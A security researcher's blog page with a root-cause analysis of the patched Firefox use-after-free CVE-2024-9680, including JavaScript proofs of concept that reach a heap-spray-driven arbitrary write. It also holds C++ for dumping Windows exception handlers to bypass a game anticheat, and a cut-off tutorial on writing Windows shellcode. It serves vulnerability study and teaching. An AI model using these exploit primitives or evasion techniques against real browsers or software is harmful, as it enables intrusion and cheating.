Dimitri Fourny — Research & writing

Firefox Animation CVE-2024-9680

Thu, 14 Nov 2024 00:00:00 +0000

In this post, we delve into the analysis of a recent vulnerability CVE-2024-9680 patched in Firefox 131.0.2. This bug, categorized as a use-after-free issue in animation timelines, was reportedly exploited in the wild. While publicly available information on the vulnerability is limited, our investigation provides a deep dive into how this issue could be triggered and exploited.

Introduction

In October, I came across a post on X discussing a Firefox vulnerability that was fixed in Firefox 131.0.2. To gather more details about this CVE, my first instinct was to check the Mozilla security advisory 2024-51:

CVE-2024-9680: Use-after-free in Animation timeline

An attacker was able to achieve code execution in the content process by exploiting a use-after-free in Animation timelines. We have had reports of this vulnerability being exploited in the wild.

The next step is typically to search for the bug patch and any available Proof of Concept (PoC). However, public information was limited, and there was no PoC available. So, I decided to analyze this bug myself and share my findings in a blog post.

Vulnerability

The commit 0ee07613d050 addresses the bug, but the most interesting changes are in AnimationTimeline.cpp.

// Before patch
bool AnimationTimeline::Tick(TickState& aState) {
 //...
 nsTArray<Animation*> animationsToRemove;
 for (Animation* animation = mAnimationOrder.getFirst(); animation;
 animation =
 static_cast<LinkedListElement<Animation>*>(animation)->getNext()) {
 //...
 animation->Tick(aState);
 if (!animation->NeedsTicks()) {
 animationsToRemove.AppendElement(animation);
 }
 }

 for (Animation* animation : animationsToRemove) {
 RemoveAnimation(animation);
 }
 return needsTicks;
}

// After patch
bool AnimationTimeline::Tick(TickState& aState) {
 //...
 AutoTArray<RefPtr<Animation>, 32> animationsToTick;
 for (Animation* animation : mAnimationOrder) {
 animationsToTick.AppendElement(animation);
 }

 for (Animation* animation : animationsToTick) {
 // ...
 animation->Tick(aState);
 if (!animation->NeedsTicks()) {
 RemoveAnimation(animation);
 }
 }
 return needsTicks;
}

As you can see, they replaced Animation* with RefPtr<Animation> in the loop. This change addresses not one but two use-after-free vulnerabilities! Before exploring how these issues are triggered, it is essential to understand how objects are tracked in this part of the code.

References Tracking

Each animation maintains a reference-counted pointer to its timeline through mTimeline, and each timeline holds reference-counted pointers to its animations in mAnimations:

class Animation : public DOMEventTargetHelper,
 public LinkedListElement<Animation> {
 RefPtr<AnimationTimeline> mTimeline;
};

class AnimationTimeline : public DOMEventTargetHelper,
 public LinkedListElement<Animation> {
 using AnimationSet = nsTHashSet<nsRefPtrHashKey<dom::Animation>>;
 AnimationSet mAnimations;
 LinkedList<dom::Animation> mAnimationOrder;
};

Additionally, mAnimationOrder maintains a linked list of all animations, where each animation has a raw pointer (next/prev) to the preceding and following animations. To summarize the situation:

Animation references and raw linked-list pointers. View full size ↗

The reference to an animation is removed when RemoveAnimation is called:

void AnimationTimeline::RemoveAnimation(Animation* aAnimation) {
 if (static_cast<LinkedListElement<Animation>*>(aAnimation)->isInList()) {
 // aAnimation remove itself from mAnimationOrder
 static_cast<LinkedListElement<Animation>*>(aAnimation)->remove();
 }
 mAnimations.Remove(aAnimation); // Remove the animation reference
}

At this point, we can identify two potential issues if we return to JavaScript during the loop:

The AnimationTimeline object remains alive only because it is being used in animations. Otherwise, its reference count would drop to zero, causing it to be freed.
Animations are kept alive through references in JavaScript and in AnimationTimeline’s mAnimations. If these references are removed, the pointers in animationsToRemove would end up pointing to freed objects.

Back to JavaScript

To trigger either of the use-after-free vulnerabilities, we need to return to JavaScript during the main loop:

bool AnimationTimeline::Tick(TickState& aState) {
 //...
 for (Animation* animation = mAnimationOrder.getFirst(); animation;
 animation =
 static_cast<LinkedListElement<Animation>*>(animation)->getNext()) {
 animation->Tick(aState); // HERE
 }
 //...
}

When the animation is ticked, the method TryTriggerNow is called. If the animation state is pending, it will resume. If an mReady promise is registered, this promise will execute asynchronously:

void Animation::Tick(AnimationTimeline::TickState& aTickState) {
 if (Pending()) {
 if (!mPendingReadyTime.IsNull()) {
 TryTriggerNow();
 }
 //...
 }
 //...
}

bool Animation::TryTriggerNow() {
 //...
 FinishPendingAt(currentTime.Value());
 return true;
}

void FinishPendingAt(const TimeDuration& aReadyTime) {
 if (mPendingState == PendingState::PlayPending) {
 ResumeAt(aReadyTime);
 }
 //...
}

void Animation::ResumeAt(const TimeDuration& aReadyTime) {
 //...
 if (mReady) {
 mReady->MaybeResolve(this);
 }
}

The challenge we face is that we need this promise to resume synchronously! Fortunately, it is still possible to trigger a callback synchronously:

void MaybeResolve(T&& aArg) {
 MaybeSomething(std::forward<T>(aArg), &Promise::MaybeResolve);
}

void Promise::MaybeResolve(JSContext* aCx, JS::Handle<JS::Value> aValue) {
 JS::Rooted<JSObject*> p(aCx, PromiseObj());
 if (!p || !JS::ResolvePromise(aCx, p, aValue)) {
 //...
 }
}

// js/src/builtin/Promise.cpp
bool js::ResolvePromiseInternal(
 JSContext* cx, JS::Handle<JSObject*> promise,
 JS::Handle<JS::Value> resolutionVal) {
 //...
 // Step 9. Let then be Get(resolution, "then").
 RootedValue thenVal(cx);
 bool status =
 GetProperty(cx, resolution, resolution, cx->names().then, &thenVal);
 //...
}

When MaybeResolve is called, the .then property is accessed. By setting a getter on this property, we can trigger a callback when it is accessed:

Object.defineProperty(Animation.prototype, "then", {
 get() {
 console.log("Object.property.then called");
 }
});

As a result, when animation->Tick() is called, our getter on Animation.then will be executed.

DocumentTimeline UAF

The simplest use-after-free vulnerability to trigger involves removing all timeline references in JavaScript during the Tick():

DocumentTimeline use-after-free: the timeline reaches a reference count of zero. View full size ↗

At the end of the loop, this.RemoveAnimation will be called:

bool AnimationTimeline::Tick(TickState& aState) {
 //...
 nsTArray<Animation*> animationsToRemove;
 for (Animation* animation = mAnimationOrder.getFirst(); animation;
 animation =
 static_cast<LinkedListElement<Animation>*>(animation)->getNext()) {
 //...
 animation->Tick(aState); // Free AnimationTimeline
 //...
 }

 for (Animation* animation : animationsToRemove) {
 RemoveAnimation(animation); // UAF
 }
 return needsTicks;
}

Here is a minimal PoC:

async function main() {
 let timeline = new DocumentTimeline();
 let animation = new Animation(null, timeline);
 animation.play();

 // Set .ready to be sure that our promise will be resolved synchonously.
 animation.ready;

 Object.defineProperty(Animation.prototype, "then", {
 get() {
 // Free the timeline
 // Setting this.timeline = null will trigger an infinite loop
 this.timeline = new DocumentTimeline();
 timeline = null;

 FuzzingFunctions.garbageCollect();
 FuzzingFunctions.cycleCollect();
 return undefined;
 }
 });
}

main();

This results in a call on a freed virtual table, which is not ideal for exploitation at this point, so let’s explore the second use-after-free.

Animation UAF

This time, we will exploit the array of raw pointers in animationsToRemove:

Animation use-after-free: a raw pointer remains in animationsToRemove. View full size ↗

bool AnimationTimeline::Tick(TickState& aState) {
 //...
 nsTArray<Animation*> animationsToRemove;
 for (Animation* animation = mAnimationOrder.getFirst(); animation;
 animation =
 static_cast<LinkedListElement<Animation>*>(animation)->getNext()) {
 //...
 animation->Tick(aState); // Free the prev animation
 if (!animation->NeedsTicks()) {
 animationsToRemove.AppendElement(animation); // Add the raw pointer
 }
 }

 // animationsToRemove[0] point to a free Animation

 for (Animation* animation : animationsToRemove) {
 RemoveAnimation(animation);
 }
 return needsTicks;
}

void AnimationTimeline::RemoveAnimation(Animation* aAnimation) {
 if (static_cast<LinkedListElement<Animation>*>(aAnimation)->isInList()) {
 static_cast<LinkedListElement<Animation>*>(aAnimation)->remove(); // UAF
 }
 //...
}

bool isInList() const {
 return mNext != this;
}
void remove() {
 mPrev->mNext = mNext;
 mNext->mPrev = mPrev;
 mNext = this;
 mPrev = this;
}

Here is the PoC:

async function main() {
 let timeline = new DocumentTimeline();

 let animation = new Animation(null, timeline); // The one which will be free
 let animation2 = new Animation(null, timeline);

 animation.play();
 animation2.play();

 // Set .ready to be sure that our promise will be resolved synchonously.
 // animation.ready; // Don't set on the first one to be able to free it
 animation2.ready;

 Object.defineProperty(Animation.prototype, "then", {
 get() {
 // Free our Animation
 animation.timeline = null; // RemoveAnimation()
 animation = null; // Release()

 FuzzingFunctions.garbageCollect();
 FuzzingFunctions.cycleCollect();
 return undefined;
 }
 });
}

main();

Next steps

The FuzzingFunctions are helpful but unavailable in the release version of Firefox, so we need alternatives. For garbage collection, the replacement is straightforward:

/** FuzzingFunctions.garbageCollect() */
function garbageCollect() {
 // Allocate 128 MB to trigger the TOO_MUCH_MALLOC garbage collection
 const maxMallocBytes = 128 * 1024 * 1024;
 for (let i = 0; i < 3; i++) {
 var x = new ArrayBuffer(maxMallocBytes);
 }
}

However, for cycle collection, we need to halt the current thread temporarily to allow the AsyncFreeSnowWhite thread to execute. The simplest approach I have found is to use a synchronous XMLHttpRequest:

/** FuzzingFunctions.cycleCollect() */
function cycleCollect() {
 // Trigger the thread AsyncFreeSnowWhite
 const request = new XMLHttpRequest();
 request.open("GET", "", false); // synchronous fetch
 request.send(null);
}

To exploit our unlink primitive, we should spray an array of pointers matching the size of Animation to facilitate pointer leakage and bypass ASLR. I did not find an exact match in my quick research, so I will leave that as an exercise for the reader.

In fact, even without an object of the correct size for the heap spray - in this case, the bucket (304, 320] - you can simply free entire pages of that object size. Eventually, these pages will be reused for objects of different sizes, which suffices to demonstrate our 0x41414141 arbitrary write:

/** FuzzingFunctions.garbageCollect() */
function garbageCollect() {
 // Allocate 128 MB to trigger the TOO_MUCH_MALLOC garbage collection
 const maxMallocBytes = 128 * 1024 * 1024;
 for (let i = 0; i < 3; i++) {
 var x = new ArrayBuffer(maxMallocBytes);
 }
}

/** FuzzingFunctions.cycleCollect() */
function cycleCollect() {
 // Trigger the thread AsyncFreeSnowWhite
 const request = new XMLHttpRequest();
 request.open("GET", "", false); // synchronous fetch
 request.send(null);
}

async function main() {
 const xslt_data0 = '<?xml version="1.0" encoding="UTF-8"?>' +
 '<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">' +
 '</xsl:stylesheet>';
 var parser = new DOMParser();
 var xslt0 = parser.parseFromString(xslt_data0, "text/xml");
 var xslt_processor0 = new XSLTProcessor();
 xslt_processor0.reset();
 xslt_processor0.importStylesheet(xslt0);

 let timeline = new DocumentTimeline();

 let sprayAnim = [];
 for (let i = 0; i < 200; i++) {
 sprayAnim.push(new Animation());
 }

 let animation = new Animation(null, timeline); // the one which will be free
 animation.id = "first"; // used for debug

 for (let i = 0; i < 200; i++) {
 sprayAnim.push(new Animation());
 }

 let animation2 = new Animation(null, timeline);

 animation.play();
 animation2.play();

 animation2.ready;

 Object.defineProperty(Animation.prototype, "then", {
 get() {
 animation.timeline = null; // RemoveAnimation()
 animation = null; // Release()

 for (let i = 0; i < sprayAnim.length; i++) {
 sprayAnim[i] = null;
 }
 sprayAnim = null;

 // Free our Animation
 garbageCollect();
 cycleCollect();

 // Replace the object with controlled pointers
 let content = String.fromCodePoint(0x4142).repeat(128/2);
 for(let i = 0; i < 1000; i++) {
 xslt_processor0.setParameter(null, "fill_" + i, content);
 }

 /*
 void remove() {
 mPrev->mNext = mNext;
 mNext->mPrev = mPrev;
 mNext = this;
 mPrev = this;
 }
 mov rax, QWORD PTR [rbx+0x70]
 mov rcx, QWORD PTR [rbx+0x78]
 mov QWORD PTR [rcx], rax
 mov rcx, QWORD PTR [rbx+0x78]
 mov QWORD PTR [rax+0x8], rcx
 mov QWORD PTR [rbx+0x70], r15
 mov QWORD PTR [rbx+0x78], r15
 */
 return undefined;
 }
 });
}

main();

Conclusion

This was my first deep dive into Firefox, and I had a lot of fun analyzing this bug.

Interestingly, a Chrome bug 40058745 reported back in February 2020 involved a very similar vulnerability.

Many thanks to mistymntncop for collaborating on this bug analysis!

Dumping the VEH in Windows 10

Thu, 11 Jun 2020 00:00:00 +0000

The Vectored Exception Handling (VEH) is a Windows mecanism to handle application exceptions. Even if you have an official Windows API to add and remove handlers via AddVectoredExceptionHandler and RemoveVectoredExceptionHandler, there is no official way to list all registered handlers in an application. Inside the source code of ReactOS you can find a source file with these API reimplemented and it can give us good information about how it works.

I needed to dump the VEH list to be able to bypass a game anticheat and because there is not a lot of information about how to do it on the internet, I sharing my solution with you.

VEH use case

The VEH can be used to catch all catchable exceptions, in our example we are catching a division by zero:

LONG NTAPI MyVEHHandler(PEXCEPTION_POINTERS ExceptionInfo) {
 printf("MyVEHHandler (0x%x)\n", ExceptionInfo->ExceptionRecord->ExceptionCode);

 if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO) {
 printf(" Divide by zero at 0x%p\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
 ExceptionInfo->ContextRecord->Eip += 2;
 return EXCEPTION_CONTINUE_EXECUTION;
 }

 return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
 AddVectoredExceptionHandler(1, MyVEHHandler);
 int except = 5;
 except /= 0;
 return 0;
}

Another application is done by CheatEngine which injects a DLL and use the VEH to catch hardware breakpoints. In consequence it can debug an application while bypassing the basics debugger checks.

Cheat Engine's VEH debugger setting. View original screenshot ↗

Exception path

When a CPU exception occurs, the kernel will call the function KiDispatchException (ring0) which will follow this exception to the ntdll method KiUserExceptionDispatcher (ring3). This function will call RtlDispatchException which will try to handle it via the VEH. To do it, it will read the VEH chained list via RtlCallVectoredHandlers and calling each handlers until one return EXCEPTION_CONTINUE_EXECUTION. If a handler returned EXCEPTION_CONTINUE_EXECUTION, the function RtlCallVectoredContinueHandlers is called and it will call all the continue exception handlers.

Windows exception dispatch and the two vectored-handler paths. View full size ↗

The VEH handlers are important because the SEH handlers are called only if no VEH handler has caught the exception, so it could be the best method to catch all exceptions if you don’t want to hook KiUserExceptionDispatcher. If you want more information about the exceptions dispatcher, 0vercl0ck has made a good paper about it.

The chained list

The VEH list is a circular linked list with the handlers functions pointers encoded:

The VEH linked list and encoded handler pointers. View full size ↗

The exception handlers are encoded with a process cookie but you can decode them easily. If you are dumping the VEH which is inside your own process, you can just use DecodePointer and you don’t have to care about the process cookie. If it’s a remote process you can use DecodeRemotePointer but you will need to create your own function pointer with GetModuleHandle("kernel32.dll") and GetProcAddress("DecodeRemotePointer").

The solution that I have chosen is to imitate DecodePointer by getting the process cookie with ZwQueryProcessInformation and applying the same algorithm:

RtlDecodePointer disassembly. View original screenshot ↗

DWORD Process::GetProcessCookie() const {
 DWORD cookie = 0;
 DWORD return_length = 0;

 HMODULE ntdll = GetModuleHandleA("ntdll.dll");
 _NtQueryInformationProcess NtQueryInformationProcess =
 reinterpret_cast<_NtQueryInformationProcess>(
 GetProcAddress(ntdll, "NtQueryInformationProcess"));

 NTSTATUS success = NtQueryInformationProcess(
 process_handle_, ProcessCookie, &cookie, sizeof(cookie), &return_length);
 if (success < 0) {
 return 0;
 }
 return cookie;
}

#define ROR(x, y) ((unsigned)(x) >> (y) | (unsigned)(x) << 32 - (y))
DWORD Process::DecodePointer(DWORD pointer) {
 if (!process_cookie_) {
 process_cookie_ = GetProcessCookie();
 if (!process_cookie_) {
 return 0;
 }
 }

 unsigned char shift_size = 0x20 - (process_cookie_ & 0x1f);
 return ROR(pointer, shift_size) ^ process_cookie_;
}

Finding the VEH list offset

Even if you can find the symbol LdrpVectorHandlerList in the ntdll pdb, there is no official API to get it easily. My solution is to begin by getting a pointer to RtlpAddVectoredHandler:

RtlAddVectoredExceptionHandler calls RtlpAddVectoredHandler. View original screenshot ↗

You can disassemble the method RtlAddVectoredExceptionHandler until you find the instruction call or you can just pretend that its address is always at 0x16 bytes after it:

BYTE* add_exception_handler = reinterpret_cast<BYTE*>(
 GetProcAddress(ntdll, "RtlAddVectoredExceptionHandler"));
BYTE* add_exception_handler_sub =
 add_exception_handler + 0x16; // RtlpAddVectoredHandler

And from here the same byte offset method could work, but a simple signature system could prevent us to be broken after a small Windows update:

The instruction referencing LdrpVectorHandlerList. View original screenshot ↗

const BYTE pattern_list[] = {
 0x89, 0x46, 0x0c, // mov [esi+0Ch], eax
 0x81, 0xc3, 0, 0, 0, 0 // add ebx, offset LdrpVectorHandlerList
};
const char mask_list[] = "xxxxx????";
BYTE* match_list =
 SearchPattern(add_exception_handler_sub, 0x100, pattern_list, mask_list);
BYTE* veh_list = *reinterpret_cast<BYTE**>(match_list + 5);
size_t veh_list_offset = veh_list - reinterpret_cast<BYTE*>(ntdll);
printf("LdrpVectorHandlerList: 0x%p (ntdll+0x%x)\n", veh_list, veh_list_offset);

Final code

#define ROR(x, y) ((unsigned)(x) >> (y) | (unsigned)(x) << 32 - (y))

DWORD Process::GetProcessCookie() const {
 DWORD cookie = 0;
 DWORD return_length = 0;

 HMODULE ntdll = GetModuleHandleA("ntdll.dll");
 _NtQueryInformationProcess NtQueryInformationProcess =
 reinterpret_cast<_NtQueryInformationProcess>(
 GetProcAddress(ntdll, "NtQueryInformationProcess"));

 NTSTATUS success = NtQueryInformationProcess(
 process_handle_, ProcessCookie, &cookie, sizeof(cookie), &return_length);
 if (success < 0) {
 return 0;
 }
 return cookie;
}

DWORD Process::DecodePointer(DWORD pointer) {
 if (!process_cookie_) {
 process_cookie_ = GetProcessCookie();
 if (!process_cookie_) {
 return 0;
 }
 }

 unsigned char shift_size = 0x20 - (process_cookie_ & 0x1f);
 return ROR(pointer, shift_size) ^ process_cookie_;
}

typedef struct _VECTORED_HANDLER_ENTRY {
 _VECTORED_HANDLER_ENTRY* next;
 _VECTORED_HANDLER_ENTRY* previous;
 ULONG refs;
 PVECTORED_EXCEPTION_HANDLER handler;
} VECTORED_HANDLER_ENTRY;

typedef struct _VECTORED_HANDLER_LIST {
 void* mutex_exception;
 VECTORED_HANDLER_ENTRY* first_exception_handler;
 VECTORED_HANDLER_ENTRY* last_exception_handler;
 void* mutex_continue;
 VECTORED_HANDLER_ENTRY* first_continue_handler;
 VECTORED_HANDLER_ENTRY* last_continue_handler;
} VECTORED_HANDLER_LIST;

DWORD GetVEHOffset() {
 HMODULE ntdll = LoadLibraryA("ntdll.dll");
 printf("ntdll: 0x%p\n", ntdll);
 perror_if_invalid(ntdll, "LoadLibrary");

 BYTE* add_exception_handler = reinterpret_cast<BYTE*>(
 GetProcAddress(ntdll, "RtlAddVectoredExceptionHandler"));
 printf("RtlAddVectoredExceptionHandler: 0x%p\n", add_exception_handler);
 perror_if_invalid(add_exception_handler, "GetProcAddress");

 BYTE* add_exception_handler_sub = add_exception_handler + 0x16;
 printf("RtlpAddVectoredExceptionHandler: 0x%p\n", add_exception_handler_sub);

 const BYTE pattern_list[] = {
 0x89, 0x46, 0x0c, // mov [esi+0Ch], eax
 0x81, 0xc3, 0, 0, 0, 0 // add ebx, offset LdrpVectorHandlerList
 };
 const char mask_list[] = "xxxxx????";
 BYTE* match_list =
 SearchPattern(add_exception_handler_sub, 0x100, pattern_list, mask_list);
 perror_if_invalid(match_list, "SearchPattern");
 BYTE* veh_list = *reinterpret_cast<BYTE**>(match_list + 5);
 size_t veh_list_offset = veh_list - reinterpret_cast<BYTE*>(ntdll);
 printf("LdrpVectorHandlerList: 0x%p (ntdll+0x%x)\n", veh_list,
 veh_list_offset);

 return veh_list_offset;
}

int main() {
 auto process = Process::GetProcessByName(L"veh_dumper.exe");
 perror_if_invalid(process.get(), "GetProcessByName");
 printf("Process cookie: 0x%0x\n", process->GetProcessCookie());

 DWORD ntdll = process->GetModuleBase(L"ntdll.dll");
 VECTORED_HANDLER_LIST handler_list;
 DWORD veh_addr = ntdll + GetVEHOffset();
 printf("VEH: 0x%08x\n", veh_addr);
 process->ReadProcMem(veh_addr, &handler_list, sizeof(handler_list));
 printf("First entry: 0x%p\n", handler_list.first_exception_handler);
 printf("Last entry: 0x%p\n", handler_list.last_exception_handler);

 if (reinterpret_cast<DWORD>(handler_list.first_exception_handler) ==
 veh_addr + sizeof(DWORD)) {
 printf("VEH list is empty\n");
 return 0;
 }

 printf("Dumping the entries:\n");
 VECTORED_HANDLER_ENTRY entry;
 process->ReadProcMem(
 reinterpret_cast<DWORD>(handler_list.first_exception_handler), &entry,
 sizeof(entry));
 while (true) {
 DWORD handler = reinterpret_cast<DWORD>(entry.handler);
 printf(" handler = 0x%p => 0x%p\n", handler,
 process->DecodePointer(handler));

 if (reinterpret_cast<DWORD>(entry.next) == veh_addr + sizeof(DWORD)) {
 break;
 }
 process->ReadProcMem(reinterpret_cast<DWORD>(entry.next), &entry,
 sizeof(entry));
 }
}

I plan to release a VEH debugger which works by shellcode injection, maybe it will be the subject of a next article. Please take note that I have done it on a 32 bits process but it can be done on a 64 bits process too.

Writing Optimized Windows Shellcode

Fri, 28 Apr 2017 00:00:00 +0000

You always have a lot of possibilities when you make a shellcode payload, especially on Windows. Do you need to write all your ASM manually or can you be helped by your compiler? Do I need to directly use syscall or to search the functions in memory? Because it’s not always simple to make it, I have made the decision to write an article about that.

I have the habit to do all the work in C and compile it with Visual Studio: the source code is nicer in C, the compiler do a better job to optimize it and you can implement your own obfuscator with LLVM if you want.

For this example, I will work on a x86 shellcode. Of course this can be totally applied to a x86_64 shellcode or for another processor.

Find the basics DLL

Introduction

When a shellcode payload is loaded in Windows, the first step is to locate the functions that we will use. We start by searching the Dynamic Link Library (DLL) where the function is stored. To do that, we will need to use different structures that I will describe in the following sections.

Thread Environment Block

The TEB is a structure used by Windows to describe a thread. Each thread can access to his own TEB by using the register FS on x86 platform and GS on x86_64 platform. The TEB has the following structure:

0:000> dt ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB
...
+0xff0 EffectiveContainerId : _GUID

In consequence, if you want access to the PEB, you just need to do:

PEB* getPeb() {
 __asm {
 mov eax, fs:[0x30];
 }
}

Process Environment Block

If the TEB gives information about a thread, the PEB will give us information about the process itself. And the information that we need is the location of the basics DLL. In fact, when a process is loaded in memory by Windows, at least two DLL are mapped:

ntdll.dll, which contain the functions which do the syscall. They begin all with the prefix Nt* and are just calling the Zw* equivalent in the kernel
kernel32.dll, which use the NTDLL functions in a higher level. For example, kernel32!CreateFileA will call ntdll!NtCreateFileW which will call ntoskrnl!ZwCreateFileW.

On some Windows version, others DLL can be already be present in memory but to be perfectly portable we will just assume that these two DLL are the only DLL already loaded.

Let’s take a look at the TEB structure:

0:000> dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
...
+0x25c WaitOnAddressHashTable : [128] Ptr32 Void

You can see that we have PEB.BeingDebugged, which is used by IsDebuggerPresent(). But the interesting part for us is that we have PEB.Ldr which corresponds to the following structure:

0:000> dt nt!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
+0x024 EntryInProgress : Ptr32 Void
+0x028 ShutdownInProgress : UChar
+0x02c ShutdownThreadId : Ptr32 Void

Like we can see by its name, PEB.Ldr->In*OrderModuleList are chained list (LIST_ENTRY) which contains all the DLL already loaded in memory. The three lists point on the same objects but in a different order. I prefer to use InLoadOrderModuleList because you can use InLoadOrderModuleList.Flink directly like a pointer to _LDR_DATA_TABLE_ENTRY. For example, if you want to use InMemoryOrderModuleList, the LDR_DATA_TABLE_ENTRY will be at the position _InMemoryOrderModuleList.Flink-0x10 because InMemoryOrderModuleList.Flink point to the next InMemoryOrderModuleList. Each chained list element can be seen like the following structure:

0:000> dt nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
...
+0x0a0 DependentLoadFlags : Uint4B

BaseDllName will contain the name of the DLL (e.g.: ntdll.dll) and DllBase will contain the addresses where the DLL is located in memory. Traditionnaly, the first element in InLoadOrderModuleList is the executable itself, and after we can found NTDLL and KERNEL32. But we are not always sure that they are in this order in all Windows version so it’s always better to base our research on the DLL name (which can be in uppercase or in lowercase).

DJB Hash

Like I have said before, we will not trust the DLL orders and we will do our research based on the DLL name. But in a shellcode, it’s not always a good idea to use ASCII strings or worst, an UNICODE string: it will just make our shellcode bigger! So I recommend you to use a hash system to compare the DLL name. I will use a DJB hash because it’s a simple and sufficient hash:

DWORD djbHashW(wchar_t* str) {
 unsigned int hash = 5381;
 unsigned int i = 0;

 for (i = 0; str[i] != 0; i++) {
 hash = ((hash << 5) + hash) + str[i];
 }

 return hash;
}

Due to the fact that the dll name can be in uppercase or lowercase, it’s a good idea to support it in your hash algorithm to have something like this:

djbHashW(L"ntdll.dll") == djbHashW(L"NTDLL.DLL")

Code

Now that we have spoken about how to do it, it’s time to code our idea:

typedef struct _LSA_UNICODE_STRING {
 USHORT Length;
 USHORT MaximumLength;
 PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY {
 LIST_ENTRY InLoadOrderModuleList;
 LIST_ENTRY InMemoryOrderModuleList;
 LIST_ENTRY InInitializationOrderModuleList;
 PVOID BaseAddress;
 PVOID EntryPoint;
 ULONG SizeOfImage;
 UNICODE_STRING FullDllName;
 UNICODE_STRING BaseDllName;
 ULONG Flags;
 SHORT LoadCount;
 SHORT TlsIndex;
 LIST_ENTRY HashTableEntry;
 ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct _PEB_LDR_DATA {
 ULONG Length;
 ULONG Initialized;
 ULONG SsHandle;
 LIST_ENTRY InLoadOrderModuleList;
 LIST_ENTRY InMemoryOrderModuleList;
 LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
 BYTE Reserved1[16];
 PVOID Reserved2[10];
 UNICODE_STRING ImagePathName;
 UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
 BYTE Reserved1[2];
 BYTE BeingDebugged;
 BYTE Reserved2[1];
 PVOID Reserved3[2];
 PPEB_LDR_DATA Ldr;
 PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
 BYTE Reserved4[104];
 PVOID Reserved5[52];
 PVOID PostProcessInitRoutine;
 BYTE Reserved6[128];
 PVOID Reserved7[1];
 ULONG SessionId;
} PEB, *PPEB;

DWORD getDllByName(DWORD dllHash) {
 PEB* peb = getPeb();
 PPEB_LDR_DATA Ldr = peb->Ldr;
 PLDR_DATA_TABLE_ENTRY moduleList = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;

 wchar_t* pBaseDllName = moduleList->BaseDllName.Buffer;
 wchar_t* pFirstDllName = moduleList->BaseDllName.Buffer;

 do {
 if (pBaseDllName != NULL) {
 if (djbHashW(pBaseDllName) == dllHash) {
 return (DWORD)moduleList->BaseAddress;
 }
 }

 moduleList = (PLDR_DATA_TABLE_ENTRY)moduleList->InLoadOrderModuleList.Flink;
 pBaseDllName = moduleList->BaseDllName.Buffer;
 } while (pBaseDllName != pFirstDllName);

 return 0;
}

And if you want to use other DLLs, you will just need to load them with LoadLibrary(). Don’t worry, we will do that in our shellcode with user32.dll.

Function address

Introduction

Now that we have the DLL, we will need to search where are our functions in the DLL memory. Fortunately for us, it’s not really difficult with a good PE headers comprehension. Always keep in mind that when we talk about the PE headers, the majority of the addresses are relative to the executable address.

Portable Executable headers

At the beginning of executable we have the DOS header, but it’s mainly here for historic part:

0:000> dt nt!_IMAGE_DOS_HEADER
+0x000 e_magic : Uint2B
+0x002 e_cblp : Uint2B
+0x004 e_cp : Uint2B
+0x006 e_crlc : Uint2B
+0x008 e_cparhdr : Uint2B
+0x00a e_minalloc : Uint2B
+0x00c e_maxalloc : Uint2B
+0x00e e_ss : Uint2B
+0x010 e_sp : Uint2B
+0x012 e_csum : Uint2B
+0x014 e_ip : Uint2B
+0x016 e_cs : Uint2B
+0x018 e_lfarlc : Uint2B
+0x01a e_ovno : Uint2B
+0x01c e_res : [4] Uint2B
+0x024 e_oemid : Uint2B
+0x026 e_oeminfo : Uint2B
+0x028 e_res2 : [10] Uint2B
+0x03c e_lfanew : Int4B

The element e_lfanew will indicate the position of the NT headers. You will need to do pFile + e_lfanew because it’s a relative address.

0:000> dt -r1 nt!_IMAGE_NT_HEADERS
+0x000 Signature : Uint4B
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x000 Machine : Uint2B
+0x002 NumberOfSections : Uint2B
+0x004 TimeDateStamp : Uint4B
+0x008 PointerToSymbolTable : Uint4B
+0x00c NumberOfSymbols : Uint4B
+0x010 SizeOfOptionalHeader : Uint2B
+0x012 Characteristics : Uint2B
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER
+0x000 Magic : Uint2B
+0x002 MajorLinkerVersion : UChar
